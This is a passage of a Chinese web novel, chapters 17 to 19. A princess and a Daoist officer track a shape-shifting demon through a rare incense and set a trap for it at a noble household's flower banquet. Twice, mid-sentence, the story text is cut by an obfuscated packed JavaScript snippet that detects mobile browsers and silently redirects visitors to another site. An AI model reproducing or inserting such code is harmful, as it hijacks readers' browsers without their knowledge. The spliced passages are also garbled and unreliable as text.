总之一句话,贺兰珩之站谁,她就站谁,现在贺兰珩之立场不明,贺兰漪自然要和他保持一致。 就在贺兰漪犹豫不决该如何答话之际,青砖路的尽头突然出现了一个身影。 “见过太子殿下、郡主,”宋少衡走过来叉手施礼。 臣下在这里,赵瑾俞自然不好再追问贺兰漪对那个问题的回答,他打量着面前身姿高挺、面如冠玉的年轻郎君,这是赵瑾俞第一次见到回京来的宋少衡。 “你很像你的父亲,”在宋少衡面前,赵瑾俞东宫之主的威势尽显,他抬手拍了下宋少衡的肩膀,“好好办差,记住,郡主的事就是本宫的事,若有人为难你,尽管让人来告诉我。” 宋少衡微微低头,“属下明白。” “漪儿,挑好了就让人过来告诉阿兄,”赵瑾俞笑着看向贺兰漪,“若是里面没有中意的,阿兄就再让人去给你找。” “好!”贺兰漪欣然点了点头。 赵瑾俞在内使的陪同下离开。 见赵瑾俞脸色不太好,旁边的侍卫小心翼翼地开口,“殿下,郡主刚刚不是已经接过来名册了吗,您为何还?” “我只是想到丰瑶刚才那副样子就觉得气闷,若是我的亲妹妹不是丰瑶,而是漪儿该多好啊,别看父王有那么多公主,还是贺兰漪这个郡主最得他和太后宠爱,你瞧见她身旁的茂才公公了吗?在太后面前,可没有一个公主能有让他陪着过来的殊荣,”赵瑾俞眼神冰冷,丝毫不掩饰地说道。 “贺兰大人至多做个亲王,郡主最终还是会选择一位站队的,”侍卫唇角勾起,“只要郡主还挂念着卫胥,她迟早都是我们这边的人。” “卫胥,那家伙还真是好本事,”赵瑾俞冷笑一声,“若不是珩之一直不表明立场,我何至于默许那种人接近漪儿啊,一个奴婢之子,也配成为我的妹夫?” 贺兰漪看着站在自己面前的宋少衡,终于彻底放松下来,宋少衡接过来茂才公公拿着的食盒,陪着贺兰漪一起出宫。 “你怎么突然进宫了?”贺兰漪挑着眉梢,“难不成也是路过?” 17. 第 17 章 “不是,官家召我入宫询问案子的进展,我是专门过来这边路上看是否能在这里见到郡主,”宋少衡背对着夕阳,眉眼间少年意气风发,但周遭的气质又带着些许内敛温柔,“兰月娘子醒了,有些事,还得是您去问才能清楚。” “兰月醒了!”贺兰漪睁大眼睛,抬腿就往宫门口跑,挥着宽袖朝着落后一步的宋少衡和青窈招手,“快快快!” 宋少衡是骑马过来的,但贺兰漪又想起来上官琼儿的事,于是拉着他一起坐了自己的马车。 “怎么样?上官琼儿后脖颈有人骨烙的印记吗?”太后宫里点着龙涎香,贺兰漪的衣裙上都染上了香气。 “有,我亲自过去查看的,是人骨烙无疑。”宋少衡温声道。 贺兰漪心下发寒,她下意识地抓住宋少衡的衣袖,“我们得救救她。” 宋少衡的视线对上贺兰漪那双清澈透亮的大眼睛,耳后逐渐红了起来,他僵硬地点了点头,“是,属下定会全力以赴。” 听到宋少衡这话,贺兰漪才稍稍安心下来,收回了抓着宋少衡衣袖的手。 “对了,你这会儿吃晚饭了吗?”贺兰漪从旁边的食盒里端出来一盘桃花酥,递给宋少衡两块,“你尝一尝,这个是皇祖母赏我的,可好吃了。” 看着面前粉色的五瓣桃花形点心,宋少衡脑海里多年前的记忆与现今重合,那时候的贺兰漪也是如此,拿着用荷叶包裹的桃花酥站在他面前,问他要不要吃一个。 “你可派人去保护上官琼儿了?”贺兰漪手里拿着块桃花酥,嚼了嚼,“应国公府虽有些府兵,但这个妖怪做事狡猾阴诡,必须得多加防范才行。” 宋少衡收回思绪,点了下头,“我已经向官家禀明了此事,侍卫亲军步军司应当已经派人偷偷过去应国府守卫了,我入宫的时候延康子道长也正在应国公府着手布置法阵,想来暂时不会出事。” 贺兰漪突然又想到了另外一种可能,“若是她不止给上官琼儿种下了人骨烙呢?” “开封府和侍卫亲军步军司的人如今在挨家挨户搜查,若是有其他人也被种下了人骨烙,那就要看是我们先找到,还是那妖怪先出手了,不过,不管她给多少人种下了人骨烙,三日内她必然会出现在上官琼儿附近。” “为什么?” “因为一旦种下人骨烙,施术者和被施术者就相当于建立了某种契约关系,若是施术者重伤,无法控制人骨烙,那么她就会遭到反噬,除非尽快拔除所有被施术者体内的人骨烙,否则即便她杀了再多的人,她也照样会性命不保。” 马车回到魏国长公主府后,贺兰漪和宋少衡直接去了莲居,兰月因为被金蚕蛊入体,这会儿身子很虚弱。 “你觉得好些了吗?”贺兰漪见兰月要起身,慌忙让她快些躺好。 兰月一见到贺兰漪,就不免哭了出来,“若是郡主因我而受伤,可真是百死莫辞了,都怪我,我真蠢。” 贺兰漪来之前,昭儿已经告知了兰月来龙去脉,兰月心中自是自责不已。 “你当时真的见到是我来找你说要扇子的吗?”贺兰漪坐在矮榻上问兰月道。 兰月点了点头,拭去眼角泪珠,“郡主,不止是我,还有莲心那日也瞧见了,妖怪就化作您的模样,在咱们府后门外面跟我说要团扇的。” “她独自一人,没进府?”贺兰漪轻声问。 “没有,我那时候还奇怪说段郎君和青窈为什么没跟在您身边,我还问她说何时回府,我好让人准备晚膳,她只说等会儿就回来了,如今想来,她说话的语气神态似乎是比您平日里安静了些,就站在门口,乖乖巧巧的,”兰月仔细回忆着那天傍晚的光景。 窗边落进来橘黄的日光,照得贺兰漪满头珠翠金光熠熠,“那她就没有什么奇怪的吗?” 兰月仔细观察着贺兰漪这张小巧精致的脸庞,浓眉大眼,小而挺的翘鼻,樱红小嘴,冰肌雪肤,五官端正又明艳动人,和妖怪变化的贺兰漪模样几乎没有二致。 要说奇怪的,贺兰漪如今穿着身大袖衫梅粉三裥裙,腰间覆着翠池蜀锦牡丹纹腰带,照常系着一只翡翠玉环绶,衣裙上还沾染着龙涎香的气息。 就是这里不对劲! “郡主,我想起来了,妖怪来的那日,我闻到她身上有一股香气,就是您平日里常用的调制好的笃耨香的味道。”兰月忍不住捂着胸口轻轻咳嗽了几声。 “笃耨香,”贺兰漪喃喃重复道,她看向兰月,再次确认,“你没有闻错那个味道吧?” “没有错,我记得很清楚,就是您之前用的香料味道。” 兰月之所以如此笃定,那是因为贺兰漪用的笃耨香都是宫中的香药局特制的,贺兰漪自小用了苏合油身上就会起疹子,因而她所用的笃耨香都是以大食蔷薇水调和,加之添了十足十的广南素馨花,味道清奇悠远,极其特殊,气味沾染到身上半月都散不尽。 而去年年关时节真腊国遇了洪灾,上供给大梁朝廷的笃耨香比往日里少了数倍,其中进贡的又是黑笃耨居多,白笃耨少的可怜,以至于如今白笃耨万金难求,就连宫里的几位娘娘想用都寻不到。 贺兰漪今年就也只得了一袋白笃耨做的香饼,但大概一月前,她就已经不随身佩着缠枝葡萄纹银香球了。 因为她一个月前夜宿外面没回家,被贺兰珩之的狗一路追踪着香气寻去了碎碧楼,贺兰珩之提溜着她的后脖颈,把她带回府,盯着她在父母牌位前跪了大半宿,她肯认错之后才让她起身,那时候贺兰漪才知道不管自己跑去哪里,贺兰珩之总是能抓住她,原就是这笃耨香的缘故。 正巧适逢段如远在苦恼要送雪卿娘子什么生辰礼,贺兰漪就把几乎没用过的一袋香饼全塞给了段如远,她想着若是能让段如远借此博美人一笑总归是桩风流韵事,可现今段如远离世,雪卿娘子失踪又被查出来是个死人,世事无常不外如此。 贺兰漪问清楚后,就把这个发现从头到尾讲给院子外的宋少衡听。 “我记得您之前在鬼樊楼盘问那女管事的时候,是不是也提起过白笃耨?”宋少衡眨了下浓密睫羽。 “对,”贺兰漪点了点头,“那个叫朝华的女管事身上也有笃耨香的味道,可我问过她,鬼樊楼并没有今年白笃耨的存货,更何况即便她有白笃耨,我用的香饼是宫中香药局所制,制作过程漫长,工序又极其复杂,她们短时间内断然是无法炮制出一模一样的香饼的。” “那我马上让人再去竹影阁和段郎君宅子里搜查,看有没有那袋笃耨香饼遗落,”宋少衡招手让宋安过来。 贺兰漪对旁边青窈温声道:“你跟着一起过去,你知道我那个香袋长什么样。” 随后贺兰漪又去问了王九,王九说段如远性子急,早在半月前就把香饼送给了竹影阁的雪卿娘子,于是贺兰漪就和宋少衡一起在府中等青窈他们的消息。 宋少衡还没吃晚饭,贺兰漪让人上了一桌丰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746871|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛的饭菜,毕竟宋少衡之前屡次救她性命,请他吃顿饭倒也算不了什么。 贺兰漪在承福宫太后那里用过晚膳了,因而她就坐在旁边看着宋少衡吃饭,宋少衡一开始说他可以等下回府衙吃饭,但被贺兰漪强硬要求留下,他才坐下拿起了筷子。 毕竟长公主府又不缺这一顿饭钱,贺兰漪想着若是自己连饭都不让宋少衡吃,要是传出去像什么样子。 “宋少衡,有件事我一直很好奇,”贺兰漪手里把玩着一只金蝴蝶并蒂步摇,她抬起眼帘打量着宋少衡的脸,“咱俩之前是不是在哪见过?” 宋少衡拿着筷子的手一滞。 “看来是见过的,”贺兰漪单手托腮,蹙着眉头,“可我为什么一点也记不起来呢,你之前是来过汴梁吗?” “没有,”宋少衡轻轻放下筷子。 “没来过汴梁,那是在哪见的?我没去过南京应天府。”贺兰漪知道宋少衡自小是在应天府长大的,因而第一个怀疑的地方就是应天府,可她从小到大的确没有去过那里。 “北燕。” 看着宋少衡严肃的表情,贺兰漪知道他没在开玩笑,若是在北燕见过,那便就能说得通了,五年前贺兰漪父母离世,她大病一场,忘了许多有关北境的事。 “可你好端端地为什么会去北燕?”贺兰漪好奇问道。 “师父曾去北燕游历,我随侍在侧,”宋少衡挪开目光,又重新拿起筷子吃饭。 对啊,宋少衡是个道士,他就算跑遍大江南北也不奇怪,更何况应天府太一宫那个老头脾气古怪,带宋少衡去北燕也完全说的过去。 “我们那时候就是朋友了吗?”贺兰漪继续问道。 “嗯,”宋少衡点了点头,抬眸看向贺兰漪,那眼神里似乎酝酿着极其复杂的情愫,他轻轻开口,“在北燕,你第一次见到我就同我讲话,还送我东西吃,那时候你待我很好。” “特别好。”宋少衡侧过脸去,嗓音低沉地喃喃补充道。 贺兰漪就知道,她跟宋少衡结下的肯定是善缘,谁让她是个又善良又仗义的小郡主呢。 “好,宋少衡,我宣布,咱们俩现在正式恢复朋友关系,”贺兰漪一本正经地说道。 宋少衡微怔,脸上破天荒地露出笑容,唇角微微上扬,仿佛卸下来所有伪装,现出最本真的模样。 “你原来会笑啊?”贺兰漪惊奇地盯着他。 这些天里,宋少衡给贺兰漪的印象就是个待人疏离冷漠的冰块,虽然人很有责任心,办差也认真,但总觉得有些地方不对劲,今日里贺兰漪才知道该怎么形容那种感觉了,虽然宋少衡今年只有十九岁,但完全没有汴梁城里那些少年儿郎身上的鲜活气息,就好像他只是徒有一个少年人的空壳而已,里面装着一个深不见底的魂灵。 贺兰漪没有看错,毕竟宋少衡是个重活了两世的人,他曾经亲眼瞧着贺兰漪倒在了他面前,一点一点失去了生机,心境自然沉稳阴郁不复少年。 “郡主!管军。”青窈走过来的时候,宋少衡已经完全又变成了平日里冷硬淡漠的模样,坐在桌边面无表情地吃着饭,让人瞧着便心颤胆寒。 “查的如何了?”贺兰漪问道。 青窈摇了摇头,“没有,宋安带人上上下下几乎将竹影阁和段宅翻了过来,都没瞧见那袋香饼。 “难不成这一切真的是雪卿娘子做的吗?可她到底为什么独独看上了我的身体?”贺兰漪郁闷道。 18. 第 18 章 “等我们抓住她,就知道了,”宋少衡嗓音喑哑,眸色暗沉地抬手将白瓷茶杯放在桌上。 往后的两天里,应国公府从外面看起来依旧和平日里一样风平浪静,府中小厮女使各司其职,有条不紊地做事。 延康子费劲布置完法阵后,一直呆在应国公府,给府上的小娘子们看面相和手相解闷,宋少衡则是守在贺兰漪身边,防止妖怪再对贺兰漪出手。 “明日里就是第三天了,若是妖怪还不出现可怎么办?”贺兰漪胳膊上搭着鹅黄色的轻纱披帛,在屋里踱步。 宋少衡负手站在支摘窗边,高束的浓密发髻一丝不苟,身上一袭窄袖白鹤圆领袍衬得他整个人挺拔俊朗,如高山之上的皑皑白雪,清尘独绝,惹得人挪不开眼。 比起贺兰漪的焦急,宋少衡明显更镇定些,换句话说,宋少衡没有像贺兰漪那般那么在意上官琼儿的生死。 “她是在跟我们比耐心,赌我们不敢拿上官琼儿的命冒险。” “真的没有解开人骨烙的办法吗?”贺兰漪走到宋少衡面前,抬脸望着他,“若是那个妖怪一心想要琼儿给她陪葬呢?” 贺兰漪本来的想法很简单,她以为上官琼儿体内的人骨烙不解开,三天一到,即便宋少衡他们没有抓住妖怪,妖怪也照样会死掉无法再害人了,谁知这人骨烙竟是双生的,虽然上官琼儿体内的人骨烙可以牵制妖怪的性命,可若是妖怪死了,被种下人骨烙的上官琼儿也会暴毙身亡。 “人骨烙只能由施术者解开,我们若是有办法也不必让上官琼儿冒险了,”宋少衡语气温柔,“今夜如果还未有动静出现,那就给她一个接近上官琼儿的机会,不怕她不现身。” “对,”贺兰漪攥紧拳头,心神略稳了些,“这个妖怪费了那么大的力气维持着人形,还想尽办法要夺走我的身体,她定然不会甘心就如此死去的。” 一直到傍晚时分,应国公府依旧没有任何消息传来。 贺兰漪和宋少衡亲自过府去见了应国公及夫人,商量明日照常办赏花宴之事。 “这怎么可以!”应国公反应激烈,摊开的手都在发颤,“郡主,管军,你们明知道妖怪在盯着我女儿,之前让人驻守在我府里便罢了,现今还要主动引妖怪入府,若是我府中人出了差池,你们担待得起吗?” 宋少衡抬眸,“如果不这么做,令爱会死。” “那能不能别在我府上啊,琼儿她自己招惹了妖怪就该她自己承担,我家中尚有七十岁的老母,如何能担得起这样的惊吓啊!”应国公愤怒地拍了拍桌子。 贺兰漪在旁听的直皱眉,明明上官琼儿的祖母算是另府别居,在离上官琼儿住所很远的一处单独院子里,应国公夫妇的住处倒是离上官琼儿的住所很近。 宋少衡神色凝重,“但我们已经没有多余的时间再在别处推算布置法阵了。” 应国公和夫人一听这话就急了,“你们就这样堂而皇之地要引妖怪入府,万一你们没抓住她,她报复我们怎么办。” “国公放心,只要她敢出手,绝对让她有来无回!”延康子见状忙上前解释道。 刑部侍郎廖湖琦看了旁边的大理寺少卿一眼,出来倒油,“虽然道长如此说引妖怪入府无妨,可若是要办赏花宴,定然少不了有汴梁其他高门大户的贵眷过来赴宴,管军能保证她们所有人的安全吗?” 若是妖怪真的现身打起来,有些许人受伤是在所难免的,即便延康子是上阶法师,也无法做这个担保。 “可以,”宋少衡认真开口,”若是过来赴宴的高门贵眷有一人因此受伤,我自会去官家面前请罪,她们少一条胳膊,我就赔一条胳膊,少一条腿,我就赔一条腿,如何?” 之前在罗仙观,那妖怪已受重创,以宋少衡的实力,即便那妖怪没受伤,控制住它、并保护来赴宴的宾客的安全,宋少衡也是完全能做到的。 上辈子,他曾经以一己之力护住了半座城的安危,相比起来,现在的情况并不算棘手。 但廖湖琦冷笑一声,显然是不愿意相信他,轻蔑道:“管军这大话说的未免太早了些,京中的贵眷们怎可拿性命去赌你的许诺,若是真的因此缺了胳膊少了腿,你到时候也担待不起。” “那依侍郎的意思,该如何行事?”宋少衡冷淡地开口问。 “这也好办,”廖湖琦开始积极表现,因为若是众人按他所言行事,到时候但凡抓住妖怪,立下大功,出了这个行动主意的他便能位居首功。 “让上官娘子出府去,找个妖怪易于接近的人多的地方,例如酒楼茶楼等地,待她对上官娘子动手之时,你们就顺势拿下她即可。” “可取出人骨烙的过程凶险异常,若是在府里有法阵护着,我和管军再多加防护,上官娘子的性命或许可以无虞地保下来,若是在外面,就说不准了,更何况酒楼茶楼那种地方,百姓众多,容易误伤,禁军也不好埋伏。”延康子仔细地解释着情况。 廖湖琦拂袖反驳道:“管军不是说了他可以确保所有人无虞吗,想来在府中和外面应该差别不大,难道那些贱民的命比我们还要金贵吗?” “如今在府中设下的法阵不仅可以保护上官娘子,还能保护所有人,相比之下会更安全,”延康子继续解释道。 “道长,你可别忘了是谁将你请来的,”廖湖琦愤愤地望着延康子,宋少衡可是东宫那边的人,这才几天就敢帮着宋少衡说话。 延康子自然明白朝中那些弯弯绕,索性闭上了嘴,由着他们去。 贺兰漪听了这一会儿,也明白应国公的顾虑,“这样吧,国公和夫人若是愿意,便带着老夫人出去躲一躲如何,待我们擒住妖怪再回来?” 应国公和夫人对视一眼,略显犹疑。 “明日里我会陪在琼儿身边,两位不必担心,”贺兰漪温声劝慰,“如今府上已设下法阵,又何必舍近求远去外面设局呢,宋管军和延康子道长定然会捉住妖怪,救下琼儿的。” 廖湖琦见应国公夫妇有些动摇,又欲开口阻拦,他心底并非是担心明日来赴宴的高门贵眷的安危,他只是想破坏宋少衡的计划而已,毕竟若是宋少衡因为此桩案子立下大功,势必会为太子一党助长声势,这自然不是他们这群三皇子党喜闻乐见的。 “三皇兄素来勤政爱民,体恤百姓,既然宋管军有万全之策,想来若是今日他在这里,也会赞同这个计划吧,”贺兰漪把廖湖琦的话堵了回去,又往前走了一步,“那妖怪一直想害我,难不成三皇兄和侍郎丝就毫不顾忌我的性命吗?” “郡主这是哪里的话,下官若是有延康子道长的捉妖本领,就是豁出命去也要为郡主抓住这妖怪,三殿下自然也是这个意思,殿下他最疼爱的便是郡主您了,不然殿下他也不会要我来为郡主办这桩案子呀,”廖湖琦慌忙往回找补,讪讪地笑了笑。 “我就知道三皇兄心中还是记挂着我的,那这事就这么说定了,”贺兰漪一锤定音,她又转头看向应国公夫妇,“你们可还有异议?” 贺兰漪明日里要陪着他们女儿,若是贺兰漪因为他们坚持要把妖怪引去外面而受了伤,在太后那里就难交代了。 应国公夫妇这么一思忖,便答应下来,并立刻让人着手去收拾东西,今夜便要偷偷出府去躲着。 宋少衡站在贺兰漪身后不远处,望着她的背影一时失了神,这会儿站出来的贺兰漪和上辈子几乎一模一样,冷静理智又聪慧,果然骨子里的东西自小到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746872|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大都是不会变的。 宋少衡让宋巍派人跟着应国公他们一起扮作小厮和女使仆妇的模样离开,为防止打草惊蛇,在未捉到妖怪之前,不许应国公他们和外界接触。 但刑部侍郎廖湖琦断然不会让此事平稳地进行下去,他给不远处的亲信使了个眼色,要他偷偷出去散布消息,若是那些高门贵眷知道明天的赏花宴里会有妖怪,他不信会有人敢过来冒险。 谁知他的亲信还没从跨院的门走出去,就被人给堵了回来。 “宋相公,您怎么来了!”大理寺少卿瞧清从茫茫夜色里走过来的宋知羲后,慌忙带人起身上前叉手行礼。 宋知羲脚步稳健地走过来,看了眼宋少衡后,同贺兰漪见了个礼,“郡主安好。” 贺兰漪明白,这是宋知羲担心儿子过来探望的,毕竟宋少衡如今有伤在身,身为父亲挂念儿子,自是人之常情。 但她侧头看了眼宋知羲带来的被捆起来摁在地上的人,“相公这是做什么?” “哦,”宋知羲直起身,看向朝他恭恭敬敬叉手行礼的廖湖琦,意有所指道:“我刚刚过来的时候,瞧见这人鬼鬼祟祟想翻墙出去,我怕是有贼人想要暗害郡主。” 同钰认出了地上这人是跟在廖湖琦身边的亲信,走到贺兰漪身旁低语了几句,贺兰漪立刻反应过来廖湖琦这是想派人去外面通风报信。 “廖大人忙了一整天,想来身体疲乏,今夜不妨就在这府中歇下吧,”不容廖湖琦拒绝,贺兰漪便冷着脸让人把他请了下去。 大理寺少卿见状,立刻识趣地说:“郡主,夜色重了,我今夜也想歇在这里。” “少卿自便,”贺兰漪点了下头。 大理寺少卿离开后,宋知羲立刻叉手向贺兰漪请罪,“我儿年少,顾念不周,以致郡主玉体受损,还望郡主恕罪。” “相公是说我胳膊上的伤?”贺兰漪瞥了眼面色僵硬的宋少衡,“宋管军已经尽全力将我救了下来,这些小伤在所难免,相公不必挂怀。” “既如此,我在此替犬子多谢郡主体谅,”宋知羲混迹朝堂多年,漂亮的场面话张口就来。 见宋知羲有话要跟宋少衡讲,贺兰漪正好要去找上官琼儿,就拉着延康子一起离开了前厅。 宋少衡本来转身就欲跟着贺兰漪一起离开,但被宋知羲眼疾手快地挡住了去路。 “你到底来干什么?”宋少衡语气生硬,同宋知羲讲起话来,不像是父子,好像是仇人。 宋巍和其他人见状,立刻识趣地退了出去。 厅内只余宋知羲和宋少衡父子两人,宋知羲满眼心疼地看着宋少衡瘦削的脸颊,“你近日里忙着查案都没好好吃饭吧。” 这两天里,宋少衡除了在开封府衙,就是在魏国长公主府,一天三顿都是和贺兰漪一起吃的,贺兰漪知道他身上有伤,专门嘱咐厨房给他单独做了药膳,怕他吃不饱,让人给他的米饭都是压实冒尖的一大碗,每日里乌鸡汤、八宝汤轮换着吃,他的胃口也比往常好多了,哪里就像宋知羲说的没好好吃饭了。 “没有,我吃的很好,”宋少衡不耐地退后一步,和宋知羲拉开距离,冷淡道:“你若是过来只是为了问这件事,现在你也知道了,走吧。” 宋知羲知道要把宋少衡的心暖回来,不是一时半刻的功夫就能做到的,必须徐徐图之。 他也知道宋少衡这两天都是在魏国长公主府用饭,只是贺兰漪年纪尚轻,心性不定,宋少衡身上又有伤,他听宋巍讲这个妖怪很是狡猾,心中实在是放心不下,因而今夜处理完公务就立刻赶了过来。 “明日里赏花宴,我也会过来。”宋知羲走上前一步,缓缓道。 “你来做什么?” 19. 第 19 章 “明日有我在这里给你压着,即便是出了什么事,来日在官家面前辩解之时,也能有回寰的余地。” “不需要,”宋少衡冷漠地抬眼看向宋知羲,冷笑道:“那么多年里你对我都不管不问,你现如今惺惺作态给谁看,给我死去的娘吗?那你合该去地底下找她演戏。” “宋知羲,你我之间不过虚存一个父子之名,如今你有家室有儿女,你就只当没有过我这个儿子吧,不管我做什么,都跟你无关,你也不要插手。” 说罢,宋少衡离开了前厅,径自去了后院,两人又是不欢而散。 此时贺兰漪正在潋菊堂安慰着闷闷不乐的上官琼儿,在明日那妖怪未拔出上官琼儿体内人骨烙之前,上官琼儿绝不能露出破绽。 万一被妖怪发觉自己没有了活路,怕是会拉着上官琼儿一起陪葬。 见宋少衡过来,贺兰漪出门去到走廊,好奇问:“宋相公这么快就回去了?” 宋少衡点了点头,淡淡道:“他平日里忙得很,这会儿就是过来看看。” 贺兰漪察觉到宋少衡和宋知羲之间的关系约莫是不太好,也是,毕竟哪个好爹会把儿子自己扔在应天府长大啊。 “你别难过,你爹这么晚过来说明他还是在意你的,”贺兰漪仰着脸,好心地劝慰他道:“你好歹还有个爹呢,我想见我爹都见不着。” 看着贺兰漪的模样,宋少衡的心口一阵阵地抽痛,他不太会安慰人,只是绞尽脑汁地开口道:“贺兰将军若是,若是见到郡主现如今这番模样,定然会欣慰的。” “是吧,”贺兰漪歪了歪头,淡淡笑了下,露出两个浅浅的小梨涡,十分自信地说道:“我也觉得我爹爹肯定会对我很满意的。” 第二天晚上,延康子给贺兰漪易了妆,将她扮作上官琼儿身边的女使,但碍于那妖怪对贺兰漪的举止很了解,因而贺兰漪只是站在水亭边,低头端着茶盏侍候。 而与此同时,同钰、宋安和青窈并未出现在应国公府,而是在魏国长公主府里营造着贺兰漪还在府中的假象。 延康子和宋少衡则易容扮作应国公府的小厮,开封府衙和侍卫亲军步军司的人依旧在大张旗鼓地搜罗后脖颈处有三瓣莲花印记的年轻小娘子。 虽然估摸着那妖怪已经知道了宋少衡会埋伏她,但双方都在赌,宋少衡他们赌妖怪的求生欲,妖怪赌宋少衡他们的百密一疏。 上官琼儿强撑着精神招待上门来赏花的汴京贵女们,贺兰漪、延康子、宋少衡都在紧张地盯着靠近上官琼儿的人。 只要上官琼儿体内的人骨烙被拔除掉,他们就立刻出手抓住妖怪。 园子里灯火阑珊,廊下悬满了黄纸灯笼,芍药、山茶、蔷薇花层层叠叠开得正盛,夜间潮气漫上来,花瓣上凝出了露珠,上官琼儿平日里还会请瓦子里的乐师舞女过府来为宴会助兴,此次也是照常这样做了。 来的人除了有汴京贵眷之外,还有一些同应国公府交好的京中官员、士子,由上官琼儿的兄长在前厅招待。 宋知羲自然也来了,尽管宋少衡并不想见他,可两人毕竟是亲父子,血浓于水,他说什么也不会放弃这个儿子。 宴席开始,大家赏花的赏花,喝酒的喝酒,闲聊的闲聊,有几个不知情的贵女跑过来水亭下恭维上官琼儿,但举止恰当,并无逾矩之举,看不出什么异常。 上官琼儿特别紧张,手里拿着酒盏,一直不自觉地在饮酒,没一会儿,脸颊两侧就变得红扑扑的,意识也有些涣散。 可直到现在,妖怪还是没有出现。 扮作女使的贺兰漪心中不免有些焦急,她悄悄环顾四周,发觉段如远的表妹王柳若也来了此次宴席,她带着女使孤零零地站在廊下,如同园子花圃里格格不入的狗尾草,有些窘迫地看着几个贵女玩投壶。 王柳若的母亲是贱籍乐师,早早离世,她家中的姐妹又有二十多个,因而除了她嫡母生的那三个女儿外,王柳若和其他姐妹在家里的地位比婢女高不了多少,虽然王柳若在京中素有才名,可在家世面前,她那单薄的才名简直不堪一击。 近日过来赴宴的高门贵眷连她嫡母都不放在眼里,更何况是她,因而众人投壶,她也只有在一旁干瞧着的份。 水面波光潋滟,有红色游鱼不断顶着绿萍露出头来,水亭对面搭着的戏台子上影影绰绰,舞女开始登场,和着婉转动听的琵琶箫声,一群梳着朝天髻、戴着羽毛面具、着紫色束腰长纱裙的舞女抬手起势,扭动腰肢翩翩起舞。 站在贺兰漪身后不远处的宋少衡冷眼瞧着这一切,延康子则是偷偷瞄了一眼又一眼的舞女,他近日里事忙,去教坊的次数比以往少了很多,这出教坊新排的《水眷月》还是第一次看。 随着那一排的舞女在戏台上不断地变幻身形,翩翩若月中仙子,但贺兰漪越瞧里面一个身影越觉得眼熟,终于,在那个舞女转身的刹那,在面具与脸未完全贴合的缝隙里,贺兰漪瞧清了她那细长妩媚的眉眼。 是雪卿娘子无疑了! 贺兰漪之前就常去竹影阁看雪卿娘子跳舞,她虽不会跳,但看得多,尤其深知一个人举手投足间的跳舞习惯短时间内是变不了多少的。 她慌忙悄悄低着头往后退了退,与宋少衡同站在廊下的阴影里,低语喃喃,“现在台子上从左边查第二个舞姬就是雪卿娘子。” “瞧仔细了吗?” 贺兰漪点了下头,确定道:“我不会认错。” 宋少衡随之给站在水亭走廊拐角的宋巍示意,要他立刻开始行动。 “救命啊!走水了!快来人啊!走水了!” 宋巍按照宋少衡之前的吩咐,指使手下点燃了应国公府的一座木亭子,为妖怪拔除人骨烙制造混乱。 呼救声传过来后,这边果然乱了起来,园中的贵眷及女使们纷纷四处逃散,延康子隐藏在人群里,引着众人跑去安全的清泉苑。 上官琼儿则是依照计划在她亲近的女使的搀扶下躲去了潋菊堂另一处僻静水亭下坐下休息。 青色纱帐被风吹起,水流般涌动,上官琼儿坐在石凳上,单手支着胳膊,伏在桌边因为醉酒睡了过去。 没一会儿,站在不远处柳树下的贺兰漪和宋少衡就瞧见昏暗的走廊下似乎有一团黑影朝着上官琼儿所在的水亭移动了过去。 “来了,”贺兰漪扭头悄声看向宋少衡。 很快,水亭下就又出现了第三个人影,那人身形窈窕,着舞女的紫纱裙,她只稍稍一抬手,上官琼儿身旁的女使就倒了下去。 她一步步地靠近已经醉酒熟睡的上官琼儿,手指覆上了她的脖子,水亭下悬着的青纱帐缓缓浮起,贺兰漪和宋少衡可以清楚瞧见那舞女手上浮动的紫色灵流。 拔除人骨烙的过程很快,舞女收手后,很快就提裙跑出了水亭,消失在暗夜之中。 贺兰漪和宋少衡慌忙赶过去水亭下,上官琼儿后脖颈上人骨烙的三瓣莲花花纹已经消失了,宋少衡检查了下躺在地上的女使,他之前已经给这个女使身上施了护息符,这会儿女使只是晕了过去。 “郡主,你带着上官琼儿去找延康子吧,我去捉妖,”宋少衡直起身,温声嘱咐道:“千万小心。” 贺兰漪点了点头,“好。” 宋巍陪着贺兰漪,带着上官琼儿和女使赶往清泉苑,路上经过一片竹林之时,突然听到了奇怪的异动。 “谁在那!”宋巍带人拔剑挡在贺兰漪身前。 没一会儿,周善俊带着小厮从竹林里跑了出来,在看到宋巍后察觉到他就是那日把自己扔进汴河的人,于是拂了拂幞头上的竹叶,冷哼一声,“我是当今官家钦点的探花,你敢拔剑对着我,就不怕我告去御史台吗?” “你一个男宾为何会来后院,还鬼鬼祟祟藏在这里!”宋巍警惕地问道。 “我,我去小解,一时间迷了路,”周善俊结结巴巴地撒谎,但又一脸张狂,扬着下巴,“我可是探花,你一个小小的士兵,居然还敢探问我为何在这?” 周善俊是过来找贺兰漪的,因为他听闻贺兰漪和上官琼儿交好,这次上官琼儿办赏花宴,他估摸着贺兰漪或许也会参加,因而找机会从前厅偷偷溜到后院里来,想和贺兰漪制造个偶遇。 但无奈应国公府的后院实在是太大了,他还没走多远就迷了路,刚刚又听到有动静过来,怕被后院的女使发现他一个男的偷溜进来把他赶出去,便只能藏身在竹林里。 “别管他了,我们先回去清泉苑再说!”易妆成应国公府女使的贺兰漪瞥了眼周善俊,扶着醉酒的上官琼儿一起离开。 宋巍护着贺兰漪和上官琼儿回去清泉苑的时候,延康子正在给礼部侍郎家的小娘子看手相。 